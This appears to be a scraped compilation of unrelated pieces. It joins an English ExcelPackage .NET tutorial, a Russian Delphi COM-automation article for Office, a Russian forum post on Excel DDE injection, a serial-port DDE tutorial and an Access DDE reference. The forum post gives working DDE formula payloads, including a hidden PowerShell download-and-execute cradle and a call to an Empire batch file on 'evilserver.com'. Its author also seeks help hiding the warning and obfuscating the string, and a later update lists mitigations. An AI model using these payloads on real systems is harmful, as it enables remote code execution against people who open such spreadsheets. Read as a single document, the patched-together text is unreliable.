- Download sample source code
Introduction
The adoption of XML as the native file format for Excel 2007 has opened up a whole host of new possibilities. Now for the first time we can create native Excel files on the server using standard tools. No longer is there a need to pollute your beautiful server room with a headless PC running Excel and an old VB6 app that uses OLE Automation to create reports. Such things can be consigned to the trash heap of IT history.
However, the new Office Open XML standard is so new there are precious few good code samples. This article aims to correct the situation by providing a flexible set of open source class libraries that you can use to create Excel spreadsheets on the server.
Why create Excel spreadsheets on the server?
Excel has long been recognized as the de facto standard when it comes to presenting management reports. The unique combination of great calculation engine, excellent charting facilities and the possibility to perform «what if» analysis, make it the «must have» business intelligence tool.
So when we came to replace our aging management reporting infrastructure, we set one key requirement: the new system must be Web-based and provide a «download in Excel» option. For our business intelligence project we built the data warehouse using SQL Server 2005 populated from our PeopleSoft and Novient implementations using SQL Server 2005 Integration Services (SSIS). The OLAP cube was built on SQL Server 2005 Analysis Services (SSAS). SQL Server 2005 Reporting Services (SSRS) provides the Web-based access to management reports and the all important «download in Excel» option. So why do we need to create Excel on the server?
The problem with SQL Server 2005 Reporting Services is that it the Excel spreadsheets it generates are «dumb». They contain no formula — just the raw data. So the recipient cannot perform a «what if» analysis by changing a few values and expecting the spreadsheet to recalculate.
We considered a number of ways to overcome this issue, but by far the most attractive is to create the Excel spreadsheet on the server, straight from the OLAP cube data. So we created a web-part for SharePoint Server 2007 so the user could enter their criteria and view the report on-line via Excel Services. Of course users can download the file for off-line viewing in Excel 2007 or even Excel 2003 file format. This SharePoint web-part and its associated web service that does the file format conversion will be the topic of another article.
The Open Source ExcelPackage Assembly
The ExcelPackage assembly is a set of classes and wrappers around the .NET 3.0 System.IO.Packaging
API and the new SpreadsheetML file format. It extracts away the complexity of dealing with the individual XML components that make up the new Excel 2007 file format. The classes are published as an assembly called ExcelPackage which you can install in the GAC and use as the basis of your own applications. In the sprit of open source projects, if you wish to help extend the functionality offered by the ExcelPackage assembly then join the team over at the ExcelPackage Open XML project.
Creating an Excel spreadsheet from scratch
Sample 1 shows how to create a new Excel spreadsheet containing some basic data and calculations. So let’s see how this is achieved.
using OfficeOpenXml; … FileInfo newFile = new FileInfo(@"C:mynewfile.xlsx"); using (ExcelPackage xlPackage = new ExcelPackage(newFile)) { … }
This creates a new instance of the all important ExcelPackage
class which gives you access to the Excel workbook and worksheets. If mynewfile.xlsx
already exists, then ExcelPackage will open the existing file. Otherwise mynewfile.xlsx
will be created from scratch.
Let’s start by adding a new worksheet called “Tinned Goods” and adding some basic data and a simple calculation:
ExcelWorksheet worksheet = xlPackage.Workbook.Worksheets.Add("Tinned Goods"); worksheet.Cell(1, 1).Value = "Product"; … worksheet.Cell(4, 1).Value = "Peas"; worksheet.Cell(5, 1).Value = "Total"; worksheet.Cell(1, 2).Value = "Tins Sold"; ExcelCell cell = worksheet.Cell(2, 2); cell.Value = "15"; string calcStartAddress = cell.CellAddress; worksheet.Cell(3, 2).Value = "32"; … worksheet.Cell(5, 2).Formula = string.Format("SUM({0}:{1})", calcStartAddress, calcEndAddress);
If all this seems a bit too easy — well yes it is! The ExcelPackage
assembly does all the hard work of creating the XML elements that are needed to represent an Excel worksheet, the Excel rows, the Excel cells etc. All you need to do is connect in the data! The ExcelWorksheet
class has all the properties and methods needed to create and manipulate worksheets. A number of supporting classes (such as ExcelCell
, ExcelRow
, ExcelColumn
, ExcelHeaderFooter
etc.) provide properties and methods of each worksheet component. They also provide helper functions that make it easy to manipulate Excel data. For example, the ExcelCell.GetCellAddress(iRow, iColumn)
method turns your row and column integers into Excel-style cell addresses.
Ok, so in our sample some of the data is too wide for the column, so let’s change the column size:
worksheet.Column(1).Width = 15;
Next, add some headers and footers to the spreadsheet. Note how we use the PageNumber and NumberOfPages constants to insert codes into the footer text. This causes Excel to insert the page number and the number of pages in the document footer. worksheet.HeaderFooter.oddHeader.CenteredText = «Tinned Goods Sales»;
worksheet.HeaderFooter.oddFooter.RightAlignedText = string.Format("Page {0} of {1}", ExcelHeaderFooter.PageNumber, ExcelHeaderFooter.NumberOfPages);
OK, so let’s write some real hard code. Let’s insert a line into the worksheet so we can add some more data. This will screw up our formula as it will be referencing the wrong set of rows (i.e. the new row will not be included in the total).
worksheet.InsertRow(3);
Well hell no, the formula is correct. The InsertRow
method not only updates all the row and cell references in the underlying XML, but also updates all the formulas in the spreadsheet! Ok, we now have our report, but we want to ensure our corporate search engine can find the file later. So let’s add some standard and custom document properties.
xlPackage.Workbook.Properties.Title = "Sample 1"; xlPackage.Workbook.Properties.Author = "John Tunnicliffe"; xlPackage.Workbook.Properties.SetCustomPropertyValue("EmployeeID", "1147");
Now save the file and all its components.
xlPackage.Save();
Below is a screenshot of the final output showing the header and the document properties.
Reading data from an Excel spreadsheet
Sample 2 shows how to read data from an existing Excel spreadsheet. We will use the spreadsheet generated by Sample 1 as the source document. To output the contents of column 2 to the console, this is all we need:
using (ExcelPackage xlPackage = new ExcelPackage(existingFile)) { ExcelWorksheet worksheet = xlPackage.Workbook.Worksheets[1]; int iCol = 2; for (int iRow = 1; iRow < 6; iRow++) Console.WriteLine("Cell({0},{1}).Value={2}", iRow, iCol, worksheet.Cell(iRow, iCol).Value); Console.WriteLine("Cell({0},{1}).Formula={2}", 6, iCol, worksheet.Cell(6, iCol).Formula); }
Here is the output from the sample code:
Starting with a template
Sample 3 shows how to create a new Excel spreadsheet based on an existing file and populate it with data from a database. This is a much better approach as you can quickly create a spreadsheet with the right formula and the correct corporate ‘look and feel’ using Excel 2007. You can then have the calculations in your template validated by the business before starting to write any code. This whole approach saves a lot of coding time!
Before running the code sample, open the template and take a look at its content. You will see it already has the desired layout and all the formula and formatting required for the title and total lines. However, it only has room for three «data rows» (i.e. rows 5, 6 & 7). You will see how we cope with this later.
So let’s start by creating a new Excel spreadsheet based on a template.
using OfficeOpenXml; assembly … FileInfo newFile = new FileInfo(@"C:sample3.xlsx"); FileInfo template = new FileInfo(@"C:sample3template.xlsx"); using (ExcelPackage xlPackage = new ExcelPackage(newFile, template)) {…}
Behind the scenes, the ExcelPackage
constructor simply copies the template and opens the new package. Now obtain a reference to the existing worksheet and initialize some variables:
ExcelWorksheet worksheet = xlPackage.Workbook.Worksheets["Sales"]; ExcelCell cell; const int startRow = 5; int row = startRow;
Next open a connection to the database and run the query. This example uses data from the AdventureWorks sample database, so you will need this installed if you want to run the sample.
while (sqlReader.Read()) { int col = 1; if (row > startRow) worksheet.InsertRow(row); for (int i = 0; i < sqlReader.FieldCount; i++) { if (sqlReader.GetName(i) == "EmailAddress") { string hyperlink = "mailto:" + sqlReader.GetValue(i).ToString(); worksheet.Cell(row, 1).Hyperlink = new Uri(hyperlink, UriKind.Absolute); } else { if (sqlReader.GetValue(i) != null) worksheet.Cell(row, col).Value = sqlReader.GetValue(i).ToString(); col++; } } row++; }
So now we have filled our worksheet with the entire dataset. Note how we use the email address as a hyperlink. Using hyperlinks is useful when you want to link one report up with another.
The purist among you will notice that all the data is written into the cell as a string. However, the Cell(row, col).Value = "xxx"
property assignment code checks if the value is a number or a string and sets the cell’s data type accordingly.
As mentioned earlier, the template only has room for three data rows. We cope with this by simply inserting rows into the template — thereby pushing the «Total» row down the sheet. The InsertRow
method automatically updates the formula in the «Total» row so that they take into account the extra rows.
As we have inserted a whole set of rows into the spreadsheet, they will not have the correct style. We correct this by simply iterating through the new rows and copying the style from the first row to all the other rows.
for (int iCol = 1; iCol <= 7; iCol++) { cell = worksheet.Cell(startRow, iCol); for (int iRow = startRow; iRow <= row; iRow++) { worksheet.Cell(iRow, iCol).StyleID = cell.StyleID; } }
The Power of Named Styles
Anyone familiar with styling HTML with CSS will understand the power and flexibility of using named styles rather than updating the style of every individual element. With named styles, the look and feel of the whole spreadsheet can be altered by changing one style definition. This capability was introduced in Excel 2003, but Excel 2007 goes one step further and makes it a dream to create a template using named styles.
We apply two built-in named styles to highlight the top achieving and the worst performing sales reps.
worksheet.Cell(startRow, 6).Style = "Good"; worksheet.Cell(row, 6).Style = "Bad";
The biggest problem with named styles in Excel 2007 is that if they are not used in your template, then Excel strips out the definition when the file is saved. This is a real headache. There are two ways to cope with this (1) add extra rows that have styles applied and delete them later (which is the technique used in this sample) or (2) load your own style.xml file which contains all the definitions you want to use.
Shared formula
Excel 2007 has a neat feature which saves a lot of coding when it comes to applying the same formula to a range of cells. A formula in one cell can be marked as «shared» and all cells referenced by the shared formula obtain their own version of the formula. So if cell E5
has the formula D5*12
, then cell E6
would have the formula D6*12
etc. etc. To set up a shared formula simply call the CreateSharedFormula
method. In the following example, the formula in cell E5
is marked as «shared» and all the other cells in the range E5:E21
are assigned their own variation of the formula.
worksheet.CreateSharedFormula(worksheet.Cell(5, 5), worksheet.Cell(21, 5));
Ensuring your formula are recalculated on File-Open
One problem we came across with Excel 2007 is that it does not automatically re-calculate the spreadsheet when it is re-opened — even when the Calculate option set to automatic! This is because the existing cells in the template have both a formula and a value in the cell. So Excel just assumes the value is correct and does not attempt to re-compute the formula. Of course, we have just added twenty rows of data and updated the formula references in the XML — but Excel has no why of knowing this, so assumes the values must be right!
The only way to force the recalculation is to ensure the cell has no value — just a formula. So the RemoveValue()
method becomes very useful for all formula in the worksheet. Hence:
worksheet.Cell(22, 5).RemoveValue();
Because of this phenomenon, we changed the ExcelCell.Formula property assignment code so that it removes the cell’s value when you assign the cell a formula.
The final output of Sample 3 code should look something like this — much more professional than anything that can be achieved starting from scratch.
Integrity issues
As soon as you start deleting rows or even worksheets from the package, you have potential for integrity issues. Your formulas will reference cells (or worksheets) that no longer exist. The ExcelPackage assembly does a good job of tidying up after you — but cannot cope with complex situations. You will soon know if you have an integrity problem — Excel will complain bitterly when opening the newly created file.
A classic problem is the calcChain.xml
file. This tells Excel in what order the calculations should be processed. So if you delete a row that is referenced by the calcChain, Excel will complain. However, if you simply remove the calcChain.xml
from the package, Excel re-creates it when the file is opened — and does not complain! So this is an easy fix. The ExcelPackage assembly does exactly that — deletes the calcChain.xml
file from the template so that Excel simply re-creates it when the file is opened.
The ExcelPackage assembly also provides you with direct access to each of the XML documents that make up the package. So you can write your own code to manipulate the XML directly. However, if you choose to do this, be careful to ensure the XML conforms to the new Office Open XML standard. Otherwise, Excel will simply strip out your all hard work as «badly formed».
Debugging your application
If you want to understand exactly what is been written into each of the component XML files by the ExcelPackage assembly, then simply add the following line of code:
xlPackage.DebugMode = true;
This will cause the assembly to output the raw XML files in the same location as the output file. You will see a sub-folder called ‘xl’ and another callled ‘docProps’.
Summary
This article has demonstrated just how easy it is to create Excel-based reports on the server using the open source ExcelPackage assembly. We hope you will be able to join us in extending the functionality of the assembly over at the ExcelPackage Open XML project. There is plenty still to do; charting, conditional formatting, inserting comments, to name just a few!
Good luck with your project!
John is a senior business intelligence developer / designer based in London, UK who likes to get his hands dirty doing real code.
Часть 3. Использование COM-серверов Microsoft Office
Основные объекты серверов Excel и Word
Объекты Excel
Объекты Word
Позднее связывание
Раннее связывание
Практика
показывает, что приложения Microsoft
Office (Excel,
Word, Power
Point и т.п.)
являются одними из наиболее часто
используемых Windows-приложений.
Каждое из них является СОМ-сервером, а
следовательно, любой входящий в него объект
может быть использован вашей программой
как собственный.
Существуют два способа обращения к методам и свойствам СОМ-объекта: путем ссылки
на его библиотеку типов (раннее связывание) и по имени (позднее связывание).
Для Object Pascal предпочтительным является раннее связывание, так как в этом
случае компилятор может проконтролировать правильность обращения к свойствам
и методам внешних объектов, а создаваемый им код исполняется, как правило, быстрее.
В то же время базовый язык обращения к серверам Microsoft Office — Visual Basic
for Application (VBA) не поддерживает работу с указателями и, следовательно,
не может использовать интерфейсы. Специально для такого рода языков (помимо
VBA c указателями не работают также языки JavaScript, SmallTalk и некоторые
другие) в технологию СОМ введены диспинтерфейсы, позволяющие обращаться к методам
и свойствам по имени, а не по адресу. При инсталлировании Office можно установить
справку по VBA, в которой детально описываются интерфейсы серверов Microsoft
Office с указанием назначения методов и свойств, а также параметров обращения
к ним. Фактически это единственные доступные программисту документы, на которые
ему следует опираться при программировании доступа к мощным возможностям серверов
Microsoft Office. Замечу, что при стандартном инсталлировании Microsoft Office
справки по VBA не устанавливаются. Если в каталоге Program Files | Microsoft
Office | Office вы не найдете файлов vbaxl8.hlp1
(справка по Excel), vbawrd8.hlp (справка по Word) и т. п., вы должны их
добавить с помощью аплета Пуск | Настройка | Панель управления | Установка и
удаление программ.
В версию 5 Delphi включены компоненты страницы Servers,
позволяющие обращаться к СОМ-объектам этих
серверов с помощью библиотек типов, однако
эти компоненты практически не
документированы. Более того, сами
библиотеки уже внедрены в пакет dclaxserver50,
так что с помощью этой версии Delphi
мне так и не удалось получить их тексты. Во
всех случаях изучение обширных текстов
библиотек (например, файл Excel_TLB.pas
содержит более 20 тыс. строк) мало что дает
даже опытному программисту.
В этом разделе приводятся краткое
описание основных объектов двух наиболее
популярных серверов — Excel
и Word, а
также примеры использования Excel
в стиле VBA
(по имени) и с помощью компонентов страницы Servers.
Поскольку специально для версии MS
Office 97
язык VBA
был существенно расширен, этот материал
нельзя использовать для работы с более
ранними версиями пакета.
Основные объекты серверов Excel и Word
В терминологии VBA
используются
понятия «объект» и «коллекция». Объект —
это обычный интерфейсный объект СОМ,
имеющий свойства, методы и события.
Коллекция — это группа однотипных объектов.
Например, главный объект сервера Excel
— Application
определяет основные свойства и методы
сервера, а коллекция Worksheets
представляет собой
набор табличных страниц в текущей рабочей
книге и т.д. Представленные ниже иерархии
объектов и коллекций взяты из файлов vbaXXX.hlp. В отличие от объектов VCL
они построены не по принципу наследования,
а по функциональной подчиненности.
Объекты Excel
Сервер Excel — это мощный табличный процессор,
реализующий размещение и обработку
различного рода данных (как числовых, так и
текстовых), в том числе построение
на их основе графиков и диаграмм. При работе
с Excel создается
так называемая рабочая книга (файл данных) с
одним или несколькими листами. Все листы
одной рабочей книги могут быть связаны друг
с другом, что позволяет организовать
совместные вычисления над размещенными на
них данными.
На рис. 1 представлена функциональная структура объектов
и коллекций Excel.
Объект Application имеет многочисленные свойства,
методы и события, управляющие сервером в
целом. Только с его помощью, например, можно
визуализировать полнофункциональное окно
текстового процессора. Его центральное
свойство Workbooks предоставляет доступ ко всем
открытым в процессоре рабочим книгам.
У каждой рабочей книги есть
свойства Worksheets
и Charts,
представляющие собой коллекции листов и
диаграмм. Первоначально коллекция Workbooks
пуста. Чтобы создать хотя бы одну рабочую
книгу, нужно обратиться к методу Workbook.Add,
который создает рабочую книгу с
количеством пустых листов, определяемым
значением свойства Application.SheetsInNewWorkbook. У
каждого рабочего листа есть свойство Cells(I,J), определяющее содержимое
ячейки, лежащей на пересечении I-го
ряда с J-м
столбцом (нумерация рядов и столбцов
начинается с 1). Если при обращении к Cells
номера столбца и ряда опущены, считается,
что речь идет о текущем диапазоне ячеек,
заданном значением свойства Worksheets.Range.
Если необходимо изменить умалчиваемые
свойства столбца или ряда, используются
объекты Worksheets.Columns и
Worksheets.Rows. Помимо рабочих листов с рабочей книгой
связывается объект Charts,
представляющий собой коллекцию диаграмм. С
каждой диаграммой связывается объект SeriesCollection,
хранящий данные, по которым строится
диаграмма.
Объекты Word
Текстовый процессор Word
является популярнейшим средством создания
и оформления (форматирования) текстовых
документов. При работе с Word
фундаментальными понятиями являются
документ, абзац и стиль. Документ
определяет файл данных. Абзац — это
совокупность символов, обрамленная
служебными символами конца строк, разрыва
колонки или разрыва раздела. Наконец, стиль
— это совокупность признаков оформления
текста: его шрифт, положение на странице,
выравнивание и т.п. Стиль — непременный
атрибут каждого абзаца, то есть изменение
стиля абзаца автоматически приводит к его
переформатированию. Однако стиль может
изменяться внутри абзаца — для выделения
группы символов шрифтом, цветом символов и (или)
фона и т.п.
На рис. 2 показана функциональная иерархия объектов Word.
Центральный объект Application
имеет такое же назначение, что и
одноименный объект Excel,
– он определяет свойства, методы и события
на уровне всего сервера. Его свойство Documents представляет собой коллекцию открытых
документов. Посредством метода Open этого объекта можно открыть ранее
созданный документ, а метода Add — создать новый документ, основанный на
стандартном шаблоне Normal.dot. Каждый документ имеет коллекцию абзацев
Paragraphs.
С помощью таких методов этого объекта, как Add, InsertParagraph,
InsertParagraphAfter,
InsertParagraphBefore,
можно вставить новый абзац в уже
существующий текст или добавить абзац в
конец документа. В свою очередь, каждый
абзац имеет многочисленные свойства,
позволяющие нужным образом
отформатировать текст. Как и в Excel,
важную роль в иерархии объектов Word
играет объект Range, определяющий диапазон абзацев. Свойство
Text этого объекта содержит текст диапазона.
Позднее связывание
Приведенный ниже пример взят из моей
практики и, думаю, сможет пригодиться и вам.
В нем прайс-лист крупного оптового
поставщика книг создается с помощью Excel.
Необходимость в обращении к Excel возникла по той причине, что прайс-лист
периодически (примерно раз в две недели)
рассылается многочисленным покупателям,
которые составляют на его основе заказы на
поставку книг. У получателей прайс-листов
нет средств прочтения отчетов в
стандартном для Delphi
формате Quick Report
(файлы с расширением qrp). Экспорт прайс-листов в файлы других
форматов не позволяет получать документы
высокого качества, поэтому я решил для
создания прайс-листов использовать
средства Excel.
На рис. 3 показан прайс-лист в окне Excel, а на рис.
4 — вид формы примера на этапе конструирования.
Перед началом работы над проектом следует скопировать все файлы BOOKS.*
в отдельную папку на жестком диске (потребуется чуть больше 800 Кбайт
свободного пространства) и связать с папкой псевдоним BDE BIBLDATA типа Standard.
Эту процедуру упростит программа SetupBooks.exe, расположенная в том же каталоге
CD-ROM.
Начните новый проект и поместите на форму компоненты Query1, Label1, Button1 и ProgressBar1.
Для компонента Query1 измените значение свойства Name на Books, свяжите его
с псевдонимом BIBLDATA и поместите в свойство SQL такой запрос:
SELECT BookID, bName, bAuthor, bPublish, bOpt, bPages, bYear FROM Books WHERE bQuan>0 ORDER BY
bName
Создайте для него все объекты-поля.
В свойство Caption
компонента Label1
поместите значение Щелкните по кнопке Пуск,
чтобы создать таблицу Excel,
в такое же свойство кнопки — значение Пуск и измените имя компонента ProgressBar1 на pb.
В окне кода в разделе private класса TForm1 поместите поле Excel типа Variant.
В предложении uses укажите ссылку на модуль COMObj и напишите следующий обработчик
события OnClick кнопки Button1 (см. листинг 1).
Теперь небольшие пояснения. Переменные Sheet и Range
введены только для сокращения текста
программы: везде вместо Sheet,
например, можно писать Excel.Workbooks[1].Sheets[1]. С версией Delphi 4 поставлялись файлы XLCONST.PAS и XLCONST.DCU, в которых определены используемые в
документации vbaxl8.hlp константы xlXXX.
С версией 5 эти файлы не поставляются,
поэтому я использую их числовые
эквиваленты. Ширина полей печатного
документа Excel
задается во внутренних единицах,
соответствующих приблизительно 3,5 мм, так
что указанные в операторах Sheet.PageSetup.ХХХMargin значения установят левое, нижнее и
правое поля шириной 1,1 см, а верхнее — 1,4 см.
Ширина столбца определяется в символах
текста, умещающегося в столбце без
отсечения.
Переменная Excel
определяет поле класса TForm1. При создании класса в него
автоматически помещается значение VarEmpty. После завершения работы с Excel
пользователь может закрыть его. Но в моей
программе Excel не визуализировался, его работа
проходила «за кулисами», а созданная
таблица записывалась в указанный
пользователем файл с помощью оператора Excel.Workbooks[1].SaveAs(FileName).
После этого Excel закрывался. Поскольку в нашем случае Excel
показывает свое окно, а пользователь может
его не закрыть, полезно написать такой
обработчик события OnDestroy формы:
procedure TForm1.FormDestroy(Sender: TObject); begin if not VarIsEmpty(Excel) then Excel.Quit end;
Запуская пример, помните, что
создание прайс-листа с помощью Excel
— процесс достаточно длительный. На моем
компьютере (400 МГц, 64 Мбайт) он занял около
минуты (для примера — аналогичный прайс-лист
средствами Quick Report
создается менее чем за 2 с). В конце
обработчика в метку lb
помещается общее время работы.
Раннее связывание
Следующий пример в функциональном плане повторяет предыдущий. В нем также с помощью Excel
создается прайс-лист, но на этот раз используется доступ непосредственно через
интерфейсы сервера. Вас ожидает «сюрприз»: время выполнения второго примера
на 40 с больше! Я не смог найти разумного объяснения этому феномену, но оба
примера находятся на сопровождающем диске, так что вы в любой момент можете
убедиться в этом сами.
Поскольку форма второго примера в точности повторяет форму первого, я не буду
объяснять, что нужно сделать для ее создания. Добавьте только на форму компонент
TExcelApplication и настройте его свойства: Name=Excel, AutoConnect=True, AutoQuit=True.
Если вы используете форму предыдущего примера как шаблон, не вставляйте поле
Excel в класс TForm1. Обработчик Button1Click должен выглядеть так (см. листинг
2).
Как видите, он во многом напоминает
обработчик предыдущего примера. Поэтому
остановлюсь на различиях.
При обращении к свойству SheetsInNewWorkbook,
как и во многих других случаях обращения к
интерфейсным свойствам и методам,
требуется указание идентификатора языка
локализации (lcid).
Значением 0 кодируется умалчиваемый язык.
Этот же идентификатор передается вторым
параметром обращения к методу Excel.Workbooks.Add. Первым параметром нужно указать имя
файла (в формате WideString),
если рабочая книга уже была ранее создана,
или «пустой» параметр EmptyParam,
если книга создается впервые.
Все мои попытки работать с объектами Range оказались неудачными. Чтобы вы не
слишком осуждали меня, я поместил
библиотеку типов Excel_TLB.pas
в каталог размещения примера — полистайте
ее на досуге и попробуйте найти нужное
решение для изменения ширины колонок и
полей листа, а также для раскрашивания
диапазона, выравнивания текста и т.п.
Есть свои нюансы и при обращении к
ячейкам. Во-первых, ими владеет объект Application,
а не Sheet.
Во-вторых, обращение к конкретному элементу
коллекции Cells (как и любой другой коллекции) возможно
только через ее свойство Item.
Подводя итоги, еще раз хочу обратить ваше
внимание на то, что по времени выполнения
позднее связывание хотя бы не проигрывает
раннему — во всяком случае, для
рассмотренных примеров. Если учесть, что
единственными доступными подавляющему
большинству программистов документами по
серверам MS
Office
являются справочные файлы vbaXXX.hlp, можно сделать вывод: использование
вариантов (позднее связывание) проще,
удобнее, а главное — намного понятнее, чем
непосредственная работа с интерфейсами (раннее
связывание).
КомпьютерПресс 6’2001
Статья DDE в MS Excel (обновляем)
Dmitry88
По аналогии с Word мы используем DDE функцию для вызова cmd. В MS Excel это довольно просто:
Вставляем в любую ячейку вызов функции cmd и задаем ей параметр. А1 — номер ячейки.
=cmd|’/c calc.exe’!A1
Параметр /c может быть изменен на /k *
Примечание: CMD /C запускает команду и выполняет ее, а CMD /K выполняет команду и возвращает нас в командную строку, позволяя выполнять следующие команды, так же полезно для тестирования переменных.
Первая часть пейлоада =cmd|’ дает инструкцию MS Excel вызвать CMD, а вторая передает команду CMD.
В нашем примере при запуске MS Excel юзер получит уведомление о том что ссылки нужно обновить.(что в целом безобидно)
Во втором сообщение мы видим предупреждение о запуске cmd — что есть палево.
Калькулятор запустился
Посколько у CMD есть ограничение на длинну аргумента в 1024 байта, 1024 это максимальная строка для функции CreateProcess(), то мы можем обойти это с помощью инструкций Powershell, например на удаленную загрузку нашего скрипта и исполнение его прямо из DDE.
Для этого сначала подготовим нагрузку в виде скрипта ps1 и положим на наш злой сервер.
Далее в указываем занчение ячейки:
=-2+3+cmd|’/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(«
, и обрабатывает скрипт! Обратите внимание , эта функция работает только на Powershell версии 3 и выше.
Результат:
Так же мы можем запустить batch файл, например пейлоад сгенерированный powershell empire
=cmd|’/c evilserver.comempire.bat;IEX $e’!A1
PS: Статья не закончена. В планах что-то придумать для скрытия предупреждения о запуске cmd.
Ну и было бы неплохо, если бы кто-то помог с шифрованием строки в base64. Я что-то с синтаксисом напутал, упорно не хочет считывать.
PPS: Всегда рад конструктивным замечаниям.
[doublepost=1508916320,1508489034][/doublepost]UPDATE:
Патч частично защищает от уязвимости.
Но лично у меня все работало и после установки апдейта. Для защиты лучше настроить все руками, дабы нерадивые пользователи не тыкали «ок» -> «ок» -> «далее» бездумно, ну и провести работу воспитательную.
Для админов рекомендую следующее:
Для MS Word
Параметры Word — Дополнительно — (раздел Общие) — Автоматически обновлять связи при открытии (снять галочку)
После этого DDE не будет обработан.
Для Excel хуже.
Первый способ мягкий:
Параметры Excel — Дополнительно — (раздел Общие)
— Запрашивать об обновлении автоматических связей (поставить галочку)
— Игнорировать DDE запросы от других приложений (поставить галочку)
Результат- будет хотя бы уведомление
Метод решения радикальный, т.к. напрочь отключает DDE и возможно не всем подойдет:
Параметры Excel — Центр управления безопасностью — кнопка «Параметры центра безопасности» — Внешнее содержимое —
— Отключить все подключения к данным
— Отключить автоматическое обновление связей в книге
Результат — все дде блочатся напрочь
ПС:
Еще это можно сделать через реестр
Тут те же настройки кроме последнего решения для Excel
[doublepost=1509618109][/doublepost]UPDATE2:
Немного по скрытию запуска строки:
Получение данных в Excel через интерфейс DDE с помощью модуля «DDE Server»
Верси для печати
Сценарий проблемы:
Лабораторный инструмент имеет RS232 порт, через который выводятся данные каждые 10 минут. Я хотел бы использовать значения из выводимых данных в формах, формулах и моих скриптах VBA в документах Microsoft Excel.
Требования:
- Advanced Serial Data Logger (ASDL) Professional или пробная версия;
- Модуль «ASCII data parser and query» для логгера;
- Модуль «DDE server» для Advanced Serial Data Logger.
Подразумевается что:
Вы настроили параметры связи с устройством (скорость, количество бит данных, контроль передачи и т.п.) в логгере и можете принимать данные без каких либо ошибок.
Вы можете работать в Microsoft Excel, в частности создавать и использовать формы.
Решение:
Замечание: Этот пример базируется на предыдущем примере с именем «Данные из последовательного порта и Excel. Рисование графиков в реальном времени». Этот пример будет использовать настройки парсера и пример данных их этого примера. Поэтому вы можете прочитать этот обучающий пример перед продолжением чтения этого примера.
Парсер готов и мы протестировали его в предыдущем примере. Если парсер верно настроен, то в окне DDE сервера будут отображены наши переменные и их значения (рис.1).
Рис.1. Данные из COM порта, Excel и DDE. Окно DDE сервера.
Все переменные теперь готовы для использования в Microsoft Excel. Имя переменной отображается в колонке «Имя». Вы должны знать имя DDE сервера и имя топика для того, чтобы получать данные через DDE. Эта информация представлена на следующем рисунке (рис.2 поз.1). Пожалуйста, обратите внимание, что имя сервера может отличаться на вашем компьютере.
Рис.2. Данные из COM порта, Excel и DDE. Параметры сервера DDE.
Кликните на кнопке «OK» и закройте окно настройки модуля сервера DDE, а затем кликните кнопку «OK» в окне настройки конфигурации.
Поскольку мы хотим рисовать графики в реальном времени, то мы должны подготовить файл Excel перед следующим шагом. В этом примере мы создали диаграмму с тремя графиками. Каждый график базируется на данных их колонок A, B или C. Мы будет помещать значения переменных FLOW1, VOLW1 и TEMP1 в соответствующую колонку, а Excel будет автоматически обновлять нашу диаграмму. Мы будем использовать только последние 30 значений на нашей диаграмме. В этом примере мы поместили 3 ссылки на DDE переменные в ячейки D21-F21 вида: «=testcore|ddesrv!srviFLOW1» (без кавычек) (рис.3 и 4). Как вы можете видеть, имя сервера, имя топика и имя переменной указаны в этой ссылке на данные DDE.
Рис.3. Данные из COM порта, Excel и DDE. Ссылки на данные DDE.
После того, как вы создали ссылки на данные DDE в вашем документе, Microsoft Excel автоматически запустит логгер и получит данные. Если логгер уже запущен, то Microsoft Excel попробует считать данные из запущенной программы. Если логгер еще не получил и не обработал никаких данных, то Microsoft Excel отобразит информацию о неверной ссылке, но считает значения, как только данные будут получены и обработаны логгером.
Теперь мы готовы для создания кода VBA, который будет обрабатывать наши DDE данные. Этот код будет копировать значения DDE в колонки, передвигать старые значения и добавлять строки в историю значений (рис.4, 5).
Рис.4. Данные из COM порта, Excel и DDE. Исходный документ Excel.
Рисунок выше содержит следующие элементы:
- Данные DDE будут помещаться здесь, и будут служить источником данных для графиков;
- График;
- История данных.
Код VBA из файла Excel
Файл Excel, который мы создали, вы можете скачать здесь и использовать в вашей работе.
Хорошо. Процедура настройки завершена и пришло время попробовать получить данные в Excel.
Подсоедините ваше устройство или включите его, если это необходимо. Попробуйте принять пакет данных от устройства. Если парсер верно настроен, то в Excel будут отображены наши DDE переменные и их значения (рис.5).
Рис.5 Данные из COM порта, Excel и DDE. Результаты.
Рисунок выше содержит следующее:
- Последние 30 значений DDE данных;
- Последние значения переменных DDE сервера;
- История данных DDE.
Файл Excel со всеми значениями и графиками вы можете скачать здесь.
Этот метод получения данных сложен и может быть непонятен для неподготовленного пользователя, но позволяет вам обрабатывать и отображать данные как вам хочется. Позднее, вы можете сделать следующие улучшения:
- Помечать некоторые значения цветом;
- Добавлять метку даты/времени в историю и автоматически очищать историю;
- Использовать формулы и вычисления.
Функция DDE
С помощью функции DDE можно начать сеанс DDE с другим приложением, запросить из него информацию и вывести ее в элементе управления в форме или отчете.
Например, функцию DDE можно использовать в свойстве Данные текстового поля для отображения данных из указанной ячейки листа Microsoft Office Excel 2007.
Функция DDE имеет следующие аргументы:
Строковое выражение, которое определяет приложение, участвующее в сеансе DDE. Как правило, приложение — это имя EXE-файла (без расширения EXE) приложения Microsoft Windows, такого как Excel. Например, чтобы запустить сеанс DDE с приложением Excel, нужно задать для аргумента приложение значение «Excel».
Строковое выражение, которое представляет имя документа, распознаваемое приложением. Аргумент документ часто является документом или файлом данных. Список допустимых значений см. в документации приложения.
Строковое выражение, которое представляет имя элемента данных, распознаваемое приложением. Список допустимых разделов см. в документации приложения.
Замечания
Функция DDE пытается запустить сеанс DDE с указанным приложением и документом и запрашивает данные в разделе. Если ей это удается, функция DDE возвращает строку, содержащую запрашиваемые данные.
При запросе данных из Excel разделом может быть идентификатор строки и столбца, например » «R1C1» «, или имя диапазона ячеек. В следующем примере функция DDE запрашивает данные ячейки в строке 1 и столбце 1 листа Excel. Это выражение можно ввести в поле Данные текстового поля на странице свойств элемента управления:
=DDE(«Excel», «Sheet1», «R1C1»)
Функцию DDE можно использовать только в свойстве Данные текстового поля, группы переключателей, флажка или поля со списком. Нельзя вызывать функцию DDE из модуля Visual Basic для приложений (VBA).
При использовании функции DDESend элемент управления становится доступным только для чтения в режиме формы и предварительного просмотра. Например, если вы укажете функцию DDE в текстовом поле, в нем будет невозможно изменять текст. Текст будет необходимо редактировать в другом приложении. Так как свойство Данные доступно только для чтения в режиме формы и предварительного просмотра, изменять элемент управления нужно через Конструктор.
